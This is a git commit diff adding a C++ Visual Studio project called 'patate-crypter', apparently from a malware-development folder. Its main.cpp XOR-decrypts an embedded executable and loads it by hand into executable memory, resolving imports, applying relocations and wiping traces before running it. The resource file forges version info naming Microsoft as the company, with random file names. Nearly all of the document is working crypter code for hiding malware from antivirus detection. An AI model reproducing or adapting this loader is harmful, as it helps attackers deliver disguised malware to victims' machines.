fix: file structure, made a bit of refactor

2024-03-18 19:30:52 +01:00
parent 0dbc576f8c
commit 6dfe690749
19 changed files with 48 additions and 85 deletions
--- a/Crypter/config.h
+++ b/Crypter/config.h
@@ -0,0 +1,2 @@
+#pragma once
+#define KEY ""
--- a/Crypter/main.cpp
+++ b/Crypter/main.cpp
@@ -0,0 +1,228 @@
+#include <windows.h>
+#include <cstdio>
+#include <iostream>
+#include <fstream>
+#include <vector>
+#include <regex>
+#include "sample.h"
+#include "config.h"
+
+HMODULE hModule2;
+LPVOID lpReserved2;
+
+#define NEW_ADDRESS 0x10000
+
+// Define a macro for the debug printf
+#ifdef _DEBUG
+#define DEBUG_PRINTF(format, ...) printf(format, __VA_ARGS__)
+#else
+#define DEBUG_PRINTF(format, ...)
+#endif
+
+/*
+Works with :
+- 32bit exe
+        dll
+
+        Relocs doesn't work for some exe for some reasons
+
+- XOR decrypts the PE
+- Doesn't copy headers
+*/
+
+void decrypt(const char* key, int offset = 0, int limit = -1) {
+	//START
+    size_t key_size = strlen(key);
+    const int bufferSize = sizeof(sample) / sizeof(sample[0]);
+    if (limit == -1) limit = bufferSize;
+	if (key_size == 0) return;
+    for (int i = offset; i < limit ; i++) {
+        sample[i] ^= key[i%key_size];
+    }
+	//END
+}
+
+// This function will load a DLL from a buffer into the current process.
+// The DLL is expected to be in the PE format.
+//
+// Parameters:
+// - dll_buffer: a buffer containing the DLL file to be loaded.
+// - dll_size: the size of the DLL buffer, in bytes.
+//
+// Returns:
+// - a handle to the loaded DLL, if successful.
+// - NULL, if the DLL could not be loaded.
+HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
+{
+	//START
+    if (dll_size < sizeof(IMAGE_DOS_HEADER)) {
+        return NULL;
+    }
+
+	decrypt(KEY, 0, 1024); // decrypt only the header
+	
+    const IMAGE_DOS_HEADER* dos_header = static_cast<const IMAGE_DOS_HEADER*>(dll_buffer);
+
+    if (dll_size < dos_header->e_lfanew + sizeof(IMAGE_NT_HEADERS)) {
+        return NULL;
+    }
+
+    const IMAGE_NT_HEADERS* nt_headers = reinterpret_cast<const IMAGE_NT_HEADERS*>(static_cast<const char*>(dll_buffer) + dos_header->e_lfanew);
+    if (nt_headers->Signature != IMAGE_NT_SIGNATURE) {
+        return NULL;
+    }
+
+    const size_t image_size = nt_headers->OptionalHeader.SizeOfImage;
+    void* image_base = VirtualAlloc((LPVOID)newBase, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+    if (image_base == NULL) {
+        return NULL;
+    }
+
+    const IMAGE_SECTION_HEADER* section_headers = reinterpret_cast<const IMAGE_SECTION_HEADER*>(nt_headers + 1);
+    // Copy the section data to the allocated memory.
+    for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
+        const IMAGE_SECTION_HEADER* section_header = section_headers + i;
+		decrypt(KEY, section_header->PointerToRawData, section_header->PointerToRawData + section_header->SizeOfRawData); //decrypt section
+        memcpy(static_cast<char*>(image_base) + section_header->VirtualAddress, static_cast<const char*>(dll_buffer) + section_header->PointerToRawData, section_header->SizeOfRawData);
+		decrypt(KEY, section_header->PointerToRawData, section_header->PointerToRawData + section_header->SizeOfRawData); //encrypt back section
+	}
+    
+    DEBUG_PRINTF("[+] Wrote section data\n");
+
+    DEBUG_PRINTF("[+] Rebasing Dll\n");
+    HMODULE dll_handle = static_cast<HMODULE>(image_base);
+
+
+    // Get the address of the DLL's entry point.
+    const void* entry_point = static_cast<const char*>(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint;
+
+    // Get the address of the DLL's import directory.
+    const IMAGE_IMPORT_DESCRIPTOR* import_directory = reinterpret_cast<const IMAGE_IMPORT_DESCRIPTOR*>(static_cast<const char*>(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
+    DEBUG_PRINTF("[+] Fixing imports\n");
+
+    while (import_directory->Name != 0) {
+        const char* import_dll_name = static_cast<const char*>(image_base) + import_directory->Name;
+
+        HMODULE import_dll = LoadLibraryA(import_dll_name);
+        if (import_dll == NULL) {
+            VirtualFree(image_base, 0, MEM_RELEASE);
+            return NULL;
+        }
+
+        IMAGE_THUNK_DATA* import_thunk_data = reinterpret_cast<IMAGE_THUNK_DATA*>(static_cast<char*>(image_base) + import_directory->FirstThunk);
+
+		while (import_thunk_data->u1.AddressOfData != 0) {
+			if (IMAGE_SNAP_BY_ORDINAL(import_thunk_data->u1.Ordinal)) {
+				DWORD ordinal = IMAGE_ORDINAL(import_thunk_data->u1.Ordinal);
+
+				void* import_address = GetProcAddress(import_dll, reinterpret_cast<LPCSTR>(ordinal));
+
+				if (import_address != nullptr) {
+					*reinterpret_cast<void**>(import_thunk_data) = import_address;
+				}
+			}
+			else {
+				const IMAGE_IMPORT_BY_NAME* import_by_name = reinterpret_cast<const IMAGE_IMPORT_BY_NAME*>(static_cast<const char*>(image_base) + import_thunk_data->u1.AddressOfData);
+
+				void* import_address = GetProcAddress(import_dll, reinterpret_cast<const char*>(import_by_name->Name));
+
+				if (import_address != nullptr) {
+					*reinterpret_cast<void**>(import_thunk_data) = import_address;
+				}
+			}
+
+			++import_thunk_data;
+		}
+
+        ++import_directory;
+    }
+
+    DEBUG_PRINTF("[+] Doing relocation\n");
+
+    const IMAGE_BASE_RELOCATION* base_relocation = reinterpret_cast<const IMAGE_BASE_RELOCATION*>(static_cast<const char*>(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
+    DWORD delta = newBase - nt_headers->OptionalHeader.ImageBase;
+
+    while (base_relocation->VirtualAddress != 0) {
+        const WORD* relocation_block = reinterpret_cast<const WORD*>(base_relocation + 1);
+
+        DWORD num_relocations = (base_relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
+
+        for (DWORD i = 0; i < num_relocations; ++i) {
+            WORD relocation_entry = relocation_block[i];
+
+            WORD type = relocation_entry >> 12;
+            WORD offset = relocation_entry & 0xFFF;
+
+            DWORD* reloc_address = reinterpret_cast<DWORD*>(static_cast<char*>(image_base) + base_relocation->VirtualAddress + offset);
+
+            switch (type) {
+            case IMAGE_REL_BASED_ABSOLUTE:
+                break;
+
+            case IMAGE_REL_BASED_HIGHLOW:
+                *reloc_address += delta;
+                break;
+
+            default:
+                break;
+            }
+        }
+
+        base_relocation = reinterpret_cast<const IMAGE_BASE_RELOCATION*>(reinterpret_cast<const char*>(base_relocation) + base_relocation->SizeOfBlock);
+    }
+
+    DEBUG_PRINTF("\n[+] Calling DllMain\n");
+    if (entry_point != NULL) {
+        void* entry_point_iat = static_cast<char*>(image_base) + nt_headers->OptionalHeader.AddressOfEntryPoint;
+
+        // Cleaning
+        dll_buffer = "";
+		size_t sample_size = sizeof(sample) / sizeof(sample[0]);
+		for (size_t i = 0; i < sample_size; i++) {
+			sample[i] = 0;
+		}
+
+        // Call the DLL's entry point.
+        reinterpret_cast<bool(__stdcall*)(HMODULE, DWORD, LPVOID)>(entry_point_iat)(hModule2, DLL_PROCESS_ATTACH, lpReserved2);
+    }
+
+    // Return a handle to the loaded DLL.
+    return dll_handle;
+	//END
+}
+
+void allo() {
+	//START
+    AllocConsole();
+    FILE* fp;
+    freopen_s(&fp, "CONOUT$", "w", stdout); // output only
+	//END
+}
+
+#ifdef _DEBUG
+int main(void)
+#else
+int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCmdLine,int       nShowCmd)
+#endif
+{
+	//START
+
+#ifdef _DEBUG
+    allo();
+#endif
+
+    DEBUG_PRINTF("[+] Started\n");
+
+    const int bufferSize = sizeof(sample) / sizeof(sample[0]);
+	
+    HMODULE dll = RunPE(sample, bufferSize, NEW_ADDRESS);
+    if (dll == NULL) {
+        DEBUG_PRINTF("[-] Failed to load DLL\n");
+        return 1;
+    }
+
+    ::FreeLibrary(dll);
+
+    return 0;
+	//END
+}
--- a/Crypter/patate-crypter.rc
+++ b/Crypter/patate-crypter.rc
@@ -0,0 +1,101 @@
+// Microsoft Visual C++ generated resource script.
+//
+#include "resource.h"
+
+#define APSTUDIO_READONLY_SYMBOLS
+/////////////////////////////////////////////////////////////////////////////
+//
+// Generated from the TEXTINCLUDE 2 resource.
+//
+#include "winres.h"
+
+/////////////////////////////////////////////////////////////////////////////
+#undef APSTUDIO_READONLY_SYMBOLS
+
+/////////////////////////////////////////////////////////////////////////////
+// Fran<61>ais (France) resources
+
+#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_FRA)
+LANGUAGE LANG_FRENCH, SUBLANG_FRENCH
+#pragma code_page(1252)
+
+#ifdef APSTUDIO_INVOKED
+/////////////////////////////////////////////////////////////////////////////
+//
+// TEXTINCLUDE
+//
+
+1 TEXTINCLUDE 
+BEGIN
+    "resource.h\0"
+END
+
+2 TEXTINCLUDE 
+BEGIN
+    "#include ""winres.h""\r\n"
+    "\0"
+END
+
+3 TEXTINCLUDE 
+BEGIN
+    "\r\n"
+    "\0"
+END
+
+#endif    // APSTUDIO_INVOKED
+
+
+/////////////////////////////////////////////////////////////////////////////
+//
+// Version
+//
+
+VS_VERSION_INFO VERSIONINFO
+ FILEVERSION 1,0,0,1
+ PRODUCTVERSION 1,0,0,1
+ FILEFLAGSMASK 0x3fL
+#ifdef _DEBUG
+ FILEFLAGS 0x1L
+#else
+ FILEFLAGS 0x0L
+#endif
+ FILEOS 0x40004L
+ FILETYPE 0x1L
+ FILESUBTYPE 0x0L
+BEGIN
+    BLOCK "StringFileInfo"
+    BEGIN
+        BLOCK "040c04b0"
+        BEGIN
+			VALUE "CompanyName", "Microsoft"
+			VALUE "FileDescription", "qhffltbhaqzfykugipsz"
+			VALUE "FileVersion", "1.0.0.1"
+			VALUE "InternalName", "gqhfyim.exe"
+			VALUE "LegalCopyright", "Copyright (C) 2023"
+			VALUE "OriginalFilename", "ddyshnw.exe"
+			VALUE "ProductName", "swtvick.exe"
+            VALUE "ProductVersion", "1.0.0.1"
+        END
+    END
+    BLOCK "VarFileInfo"
+    BEGIN
+        VALUE "Translation", 0x40c, 1200
+    END
+END
+
+MAINICON ICON "C:/Users/patate/Desktop/Programmation/C++/Maldev/patate-crypter/icon.ico"
+#endif
+/////////////////////////////////////////////////////////////////////////////
+
+
+
+#ifndef APSTUDIO_INVOKED
+/////////////////////////////////////////////////////////////////////////////
+//
+// Generated from the TEXTINCLUDE 3 resource.
+//
+
+
+/////////////////////////////////////////////////////////////////////////////
+#endif    // not APSTUDIO_INVOKED
+
--- a/Crypter/patate-crypter.vcxproj
+++ b/Crypter/patate-crypter.vcxproj
@@ -0,0 +1,178 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{f2b3a240-e4b5-428f-991a-765881b2e877}</ProjectGuid>
+    <RootNamespace>patate-crypter</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+    <OutDir>$(ProjectDir)..\bin\</OutDir>
+    <IntDir>$(ProjectDir)build\</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+    <OutDir>$(ProjectDir)..\bin\</OutDir>
+    <IntDir>$(ProjectDir)build\</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+    <OutDir>$(ProjectDir)..\bin\</OutDir>
+    <IntDir>$(ProjectDir)build\</IntDir>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+    <OutDir>$(ProjectDir)..\bin\</OutDir>
+    <IntDir>$(ProjectDir)build\</IntDir>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp17</LanguageStandard>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalOptions>/NXCOMPAT:no %(AdditionalOptions)</AdditionalOptions>
+      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>false</FunctionLevelLinking>
+      <IntrinsicFunctions>false</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp17</LanguageStandard>
+      <Optimization>Disabled</Optimization>
+      <WholeProgramOptimization>false</WholeProgramOptimization>
+      <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <EnableCOMDATFolding>false</EnableCOMDATFolding>
+      <OptimizeReferences>false</OptimizeReferences>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <AdditionalOptions>/NXCOMPAT:no %(AdditionalOptions)</AdditionalOptions>
+      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+      <GenerateWindowsMetadata>false</GenerateWindowsMetadata>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp17</LanguageStandard>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalOptions>/NXCOMPAT:no %(AdditionalOptions)</AdditionalOptions>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <LanguageStandard>stdcpp17</LanguageStandard>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalOptions>/NXCOMPAT:no %(AdditionalOptions)</AdditionalOptions>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="main.cpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="config.h" />
+    <ClInclude Include="resource.h" />
+    <ClInclude Include="sample.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="patate-crypter.rc" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
--- a/Crypter/patate-crypter.vcxproj.filters
+++ b/Crypter/patate-crypter.vcxproj.filters
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Fichiers sources">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Fichiers d%27en-tête">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
+    </Filter>
+    <Filter Include="Fichiers de ressources">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="main.cpp">
+      <Filter>Fichiers sources</Filter>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="config.h">
+      <Filter>Fichiers d%27en-tête</Filter>
+    </ClInclude>
+    <ClInclude Include="resource.h">
+      <Filter>Fichiers d%27en-tête</Filter>
+    </ClInclude>
+    <ClInclude Include="sample.h">
+      <Filter>Fichiers d%27en-tête</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="patate-crypter.rc">
+      <Filter>Fichiers de ressources</Filter>
+    </ResourceCompile>
+  </ItemGroup>
+</Project>
--- a/Crypter/patate-crypter.vcxproj.user
+++ b/Crypter/patate-crypter.vcxproj.user
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <ShowAllFiles>true</ShowAllFiles>
+  </PropertyGroup>
+</Project>
--- a/Crypter/resource.h
+++ b/Crypter/resource.h
@@ -0,0 +1,14 @@
+//{{NO_DEPENDENCIES}}
+// Microsoft Visual C++ generated include file.
+// Used by DllExecutor.rc
+
+// Valeurs par d<>faut suivantes des nouveaux objets
+// 
+#ifdef APSTUDIO_INVOKED
+#ifndef APSTUDIO_READONLY_SYMBOLS
+#define _APS_NEXT_RESOURCE_VALUE        101
+#define _APS_NEXT_COMMAND_VALUE         40001
+#define _APS_NEXT_CONTROL_VALUE         1001
+#define _APS_NEXT_SYMED_VALUE           101
+#endif
+#endif